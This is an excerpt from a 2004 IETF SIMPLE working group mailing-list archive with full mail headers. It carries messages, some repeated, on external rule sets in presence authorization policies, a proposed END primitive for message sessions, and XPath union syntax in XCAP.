	for simple-archive@ietf.org; Thu, 25 Mar 2004 17:52:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dhK-0001XV-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 17:51:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dgl-0001V7-00; Thu, 25 Mar 2004 17:51:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dgj-0004K4-02; Thu, 25 Mar 2004 17:51:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dgH-0004IU-QD
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 17:50:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29467
	for <simple@ietf.org>; Thu, 25 Mar 2004 17:50:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dgF-0001TD-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:50:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dfN-0001QZ-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:49:37 -0500
Received: from opus.cs.columbia.edu ([128.59.20.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6deX-0001O7-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:48:45 -0500
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	(authenticated bits=0)
	by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2PMmiU3029381
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 25 Mar 2004 17:48:45 -0500 (EST)
Message-ID: <406361CC.7020201@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: external lists, was: Re: [Simple] Comments on: First draft of
 text on semantic-based authorization policies [external lists]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com> <40604770.6030702@cs.columbia.edu> <40614643.1090206@dynamicsoft.com>
In-Reply-To: <40614643.1090206@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 17:48:44 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Part of the confusion is that, like exceptions, external rule sets have 
had different meanings in different groups. We've had one discussion, 
along my lines of thought, in GEOPRIV and another one in SIMPLE.

There seem to be two definitions:

- external rulesets containing whole rules
- external lists of identities within a single rule

I agree that the second one can be handled in a privacy-safe manner, 
although it makes implementations much less efficient if the PA cannot 
expand the list when submitted and has to consult it on each matching 
operation. Among other problems, it makes a database implementation 
impossible.

Making it a separate document would presumably also allow a server to 
say "no thanks" if it does not want to take the performance hit.

Henning



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 25 17:53:01 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29562
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 17:53:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6diE-0004Tm-Rx
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 17:52:34 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PMqYnP017217
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 17:52:34 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6diE-0004Tc-N9
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 17:52:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29559
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 17:52:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6diC-0001ZG-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 17:52:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dhL-0001Xc-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 17:51:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dgl-0001V7-00; Thu, 25 Mar 2004 17:51:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dgj-0004K4-02; Thu, 25 Mar 2004 17:51:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dgH-0004IU-QD
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 17:50:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29467
	for <simple@ietf.org>; Thu, 25 Mar 2004 17:50:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dgF-0001TD-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:50:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dfN-0001QZ-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:49:37 -0500
Received: from opus.cs.columbia.edu ([128.59.20.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6deX-0001O7-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:48:45 -0500
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	(authenticated bits=0)
	by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2PMmiU3029381
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 25 Mar 2004 17:48:45 -0500 (EST)
Message-ID: <406361CC.7020201@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: external lists, was: Re: [Simple] Comments on: First draft of
 text on semantic-based authorization policies [external lists]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com> <40604770.6030702@cs.columbia.edu> <40614643.1090206@dynamicsoft.com>
In-Reply-To: <40614643.1090206@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 17:48:44 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Part of the confusion is that, like exceptions, external rule sets have 
had different meanings in different groups. We've had one discussion, 
along my lines of thought, in GEOPRIV and another one in SIMPLE.

There seem to be two definitions:

- external rulesets containing whole rules
- external lists of identities within a single rule

I agree that the second one can be handled in a privacy-safe manner, 
although it makes implementations much less efficient if the PA cannot 
expand the list when submitted and has to consult it on each matching 
operation. Among other problems, it makes a database implementation 
impossible.

Making it a separate document would presumably also allow a server to 
say "no thanks" if it does not want to take the performance hit.

Henning



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 25 18:06:45 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00500
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 18:06:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dvz-0002XT-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 18:06:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dv5-0002SY-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 18:05:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6duK-0002Nh-00; Thu, 25 Mar 2004 18:05:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6duH-0007sV-CI; Thu, 25 Mar 2004 18:05:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dtn-0007jX-MM
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 18:04:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00217
	for <simple@ietf.org>; Thu, 25 Mar 2004 18:04:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dtk-0002KD-00
	for simple@ietf.org; Thu, 25 Mar 2004 18:04:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dsn-0002Fb-00
	for simple@ietf.org; Thu, 25 Mar 2004 18:03:29 -0500
Received: from auemail2.lucent.com ([192.11.223.163] helo=auemail2.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6drt-00029F-00
	for simple@ietf.org; Thu, 25 Mar 2004 18:02:33 -0500
Received: from il0015exch001h.wins.lucent.com (h135-1-23-83.lucent.com [135.1.23.83])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2PN20c04707
	for <simple@ietf.org>; Thu, 25 Mar 2004 17:02:00 -0600 (CST)
Received: by il0015exch001h.ih.lucent.com with Internet Mail Service (5.5.2657.72)
	id <15V9RVDL>; Thu, 25 Mar 2004 16:46:57 -0600
Message-ID: <B2FB6044E0DF474E8CE4128871E616CC0C56B39D@il0015exch006u.ih.lucent.com>
From: "Orsic, Milo (Milo)" <orsic@lucent.com>
To: "'Ben Campbell'" <bcampbell@dynamicsoft.com>
Cc: simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
Subject: [Simple] draft-ietf-simple-message-sessions-03
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 16:46:55 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,SUBJ_HAS_UNIQ_ID 
	autolearn=no version=2.60

Ben,
Currently the draft-ietf-simple-message-sessions-03 specifies two message-primitives: VISIT and SEND. As the 3GPP user of the draft I would suggest that the authors consider to add an additional message-primitives, e.g. "END", that could be sent by either endpoint over the TCP connection to terminate the message exchange. The endpoint that receives the END would know that there are no messages following the END that will be received (and will have to be acknowledged). Hence, it would put the 200 OK (to END) into its outgoing  TCP buffer (behind all acknowledgements), and it would not send any new messages. Likewise, the END-sending endpoint, upon receiving the 200 OK (to END) would know that there are no messages following the 200 OK that will be received (and will have to be acknowledged). Hence, the END-sending endpoint would close the TCP connection toward its peer. Subsequently, the peer would also close the TCP connection. The message loss due to synchronization problem!
  between SIP signaling (BYE) and message sending would be eliminated. In addition, by using the END message-primitive:
1.) We would NOT violate the semantics of the BYE, as stated in RFC326 1 (15.1.1):
"The UAC MUST consider the session terminated (and therefore stop sending or listening for media) as soon as the BYE request is passed to the client transaction." The usage of BYE in the draft-ietf-simple-message-sessions-03 is "usage-specific", since -upon sending the BYE - the TCP connection is kept open and used "for a while."
2.) We could keep the dialog (and associated sessions for other media, if any) alive. Since the BYE in the draft-ietf-simple-message-sessions-03 is used to terminate the message exchange, the side effect is that the dialog (and associated sessions for other media, if any) has to be terminated.
etc.
Please consider.

Cheers,
Milo 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 25 18:07:18 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00585
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 18:07:18 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dw4-00006L-GR
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 18:06:52 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PN6qZ0000377
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 18:06:52 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dw4-00005w-Bv
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 18:06:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00522
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 18:06:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dw1-0002Y1-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 18:06:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dv6-0002Sj-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 18:05:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6duK-0002Nh-00; Thu, 25 Mar 2004 18:05:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6duH-0007sV-CI; Thu, 25 Mar 2004 18:05:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dtn-0007jX-MM
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 18:04:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00217
	for <simple@ietf.org>; Thu, 25 Mar 2004 18:04:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dtk-0002KD-00
	for simple@ietf.org; Thu, 25 Mar 2004 18:04:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dsn-0002Fb-00
	for simple@ietf.org; Thu, 25 Mar 2004 18:03:29 -0500
Received: from auemail2.lucent.com ([192.11.223.163] helo=auemail2.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6drt-00029F-00
	for simple@ietf.org; Thu, 25 Mar 2004 18:02:33 -0500
Received: from il0015exch001h.wins.lucent.com (h135-1-23-83.lucent.com [135.1.23.83])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2PN20c04707
	for <simple@ietf.org>; Thu, 25 Mar 2004 17:02:00 -0600 (CST)
Received: by il0015exch001h.ih.lucent.com with Internet Mail Service (5.5.2657.72)
	id <15V9RVDL>; Thu, 25 Mar 2004 16:46:57 -0600
Message-ID: <B2FB6044E0DF474E8CE4128871E616CC0C56B39D@il0015exch006u.ih.lucent.com>
From: "Orsic, Milo (Milo)" <orsic@lucent.com>
To: "'Ben Campbell'" <bcampbell@dynamicsoft.com>
Cc: simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
Subject: [Simple] draft-ietf-simple-message-sessions-03
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 16:46:55 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL,SUBJ_HAS_UNIQ_ID 
	autolearn=no version=2.60

Ben,
Currently the draft-ietf-simple-message-sessions-03 specifies two message-primitives: VISIT and SEND. As the 3GPP user of the draft I would suggest that the authors consider to add an additional message-primitives, e.g. "END", that could be sent by either endpoint over the TCP connection to terminate the message exchange. The endpoint that receives the END would know that there are no messages following the END that will be received (and will have to be acknowledged). Hence, it would put the 200 OK (to END) into its outgoing  TCP buffer (behind all acknowledgements), and it would not send any new messages. Likewise, the END-sending endpoint, upon receiving the 200 OK (to END) would know that there are no messages following the 200 OK that will be received (and will have to be acknowledged). Hence, the END-sending endpoint would close the TCP connection toward its peer. Subsequently, the peer would also close the TCP connection. The message loss due to synchronization problem!
  between SIP signaling (BYE) and message sending would be eliminated. In addition, by using the END message-primitive:
1.) We would NOT violate the semantics of the BYE, as stated in RFC326 1 (15.1.1):
"The UAC MUST consider the session terminated (and therefore stop sending or listening for media) as soon as the BYE request is passed to the client transaction." The usage of BYE in the draft-ietf-simple-message-sessions-03 is "usage-specific", since -upon sending the BYE - the TCP connection is kept open and used "for a while."
2.) We could keep the dialog (and associated sessions for other media, if any) alive. Since the BYE in the draft-ietf-simple-message-sessions-03 is used to terminate the message exchange, the side effect is that the dialog (and associated sessions for other media, if any) has to be terminated.
etc.
Please consider.

Cheers,
Milo 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 26 02:19:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03748
	for <simple-archive@ietf.org>; Fri, 26 Mar 2004 02:19:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6ldB-0006a4-00
	for simple-archive@ietf.org; Fri, 26 Mar 2004 02:19:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6lcH-0006Um-00
	for simple-archive@ietf.org; Fri, 26 Mar 2004 02:18:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6lbT-0006Px-00; Fri, 26 Mar 2004 02:18:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6lbM-00065d-Pl; Fri, 26 Mar 2004 02:18:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6lbD-00061u-Bm
	for simple@optimus.ietf.org; Fri, 26 Mar 2004 02:17:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03524
	for <simple@ietf.org>; Fri, 26 Mar 2004 02:17:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6lb9-0006Nx-00
	for simple@ietf.org; Fri, 26 Mar 2004 02:17:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6laC-0006Ju-00
	for simple@ietf.org; Fri, 26 Mar 2004 02:16:49 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6lZJ-0006Gj-00
	for simple@ietf.org; Fri, 26 Mar 2004 02:15:53 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2Q7Fon09146;
	Fri, 26 Mar 2004 09:15:51 +0200 (EET)
X-Scanned: Fri, 26 Mar 2004 09:17:11 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2Q7HBH6014349;
	Fri, 26 Mar 2004 09:17:11 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00N4jwZT; Fri, 26 Mar 2004 09:17:10 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2Q7F8F13396;
	Fri, 26 Mar 2004 09:15:08 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Fri, 26 Mar 2004 09:15:07 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id JAA14086;
	Fri, 26 Mar 2004 09:15:22 +0200 (EET)
Subject: Re: [Simple] Re: xcap multiple insertions
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: simple@ietf.org
In-Reply-To: <1079000238.23502.345.camel@xitami.research.nokia.com>
References: <1078390601.21131.72.camel@xitami.research.nokia.com>
	 <40500CF0.1070906@dynamicsoft.com>
	 <1079000238.23502.345.camel@xitami.research.nokia.com>
Content-Type: text/plain
Message-Id: <1080285306.12842.53.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 26 Mar 2004 07:15:07.0729 (UTC) FILETIME=[117A0C10:01C41302]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 26 Mar 2004 09:15:07 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

On Thu, 2004-03-11 at 12:17, ext Jari Urpalainen wrote:
> On Thu, 2004-03-11 at 08:53, ext Jonathan Rosenberg wrote:
> > Thanks for the comments. inline.
> > 
> > Jari Urpalainen wrote:
> > 
> > > Hi Jonathan !
> > > 
> > > I read your XCAP representation in Seoul and I'll have a few comments.
> > > 
> > > When selection multiple entries you can't use union "|" there. Union is
> > > used to select multiple location paths like
> > 
> > Yes, I noticed that xml spy didnt seem to like these expressions, but 
> > according to the spec at least they seemed ok. From the xpath spec:
> > 
> > [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> > [9]   	PredicateExpr	   ::=   	Expr	
> > [14]   	Expr	   ::=   	OrExpr	
> > [21]   	OrExpr	   ::=   	AndExpr	
> > 			| OrExpr 'or' AndExpr	
> > [22]   	AndExpr	   ::=   	EqualityExpr	
> > 			| AndExpr 'and' EqualityExpr	
> > [23]   	EqualityExpr	   ::=   	RelationalExpr	
> > 			| EqualityExpr '=' RelationalExpr	
> > 			| EqualityExpr '!=' RelationalExpr	
> > [24]   	RelationalExpr	   ::=   	AdditiveExpr	
> > 			| RelationalExpr '<' AdditiveExpr	
> > 			| RelationalExpr '>' AdditiveExpr	
> > 			| RelationalExpr '<=' AdditiveExpr	
> > 			| RelationalExpr '>=' AdditiveExpr	
> > [25]   	AdditiveExpr	   ::=   	MultiplicativeExpr	
> > 			| AdditiveExpr '+' MultiplicativeExpr	
> > 			| AdditiveExpr '-' MultiplicativeExpr	
> > [26]   	MultiplicativeExpr	   ::=   	UnaryExpr	
> > 			| MultiplicativeExpr MultiplyOperator UnaryExpr	
> > 			| MultiplicativeExpr 'div' UnaryExpr	
> > 			| MultiplicativeExpr 'mod' UnaryExpr	
> > [27]   	UnaryExpr	   ::=   	UnionExpr	
> > 			| '-' UnaryExpr	
> > [18]   	UnionExpr	   ::=   	PathExpr	
> > 			| UnionExpr '|' PathExpr	
> > [19]   	PathExpr	   ::=   	LocationPath	
> > 			| FilterExpr	
> > 			| FilterExpr '/' RelativeLocationPath	
> > 			| FilterExpr '//' RelativeLocationPath	
> > [20]   	FilterExpr	   ::=   	PrimaryExpr	
> > 			| FilterExpr Predicate	
> > [15]   	PrimaryExpr	   ::=   	VariableReference	
> > 			| '(' Expr ')'	
> > 			| Literal	
> > 			| Number	
> > 			| FunctionCall	
> > 
> > following this chain of grammar, I concluded that I could have a 
> > predicate that was an OrExpr, which is an AndExpr, which is an 
> > EqualityExpr, which is a RelationalExpr, which is an AdditiveExpr, which 
> > is a MultiplicativeExpr, which is a UnaryExpr, which is a UnionExpr, 
> > which can be a series of PathExpr separated  by '|', and PathExpr can be 
> > a FilterExpr which can be a PrimaryExpr, which can be a Number. Thus, 
> > the predicate 1|2|3 seemed allowed.
> > 
> > What am I missing??
> > 
> > 
> As can be seen ;) these specs are so nice, simple and easy to
> interpret... I must confess that I haven't payed much attention to this
> grammar. However, the problem isn't actually just syntactic (so the
> syntax you propose is IMO right) but more semantic. When conditions are
> added to test location paths, the result of condition should be of type
> boolean and of course to pass the test it should be true, so in this
> particular case, what is the result of union of 1, 2 and 3 ? IMO it is
> just ~true (and this seems to be also the interpretation of the
> xml-library that I usually utilize (libxml2). 
> 
> Furthermore, I could point e.g. to these two references which have IMO
> good examples, how XPATH selections work (or should work?)
> 
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/htm/xpath_syntax2_3prn.asp
> 
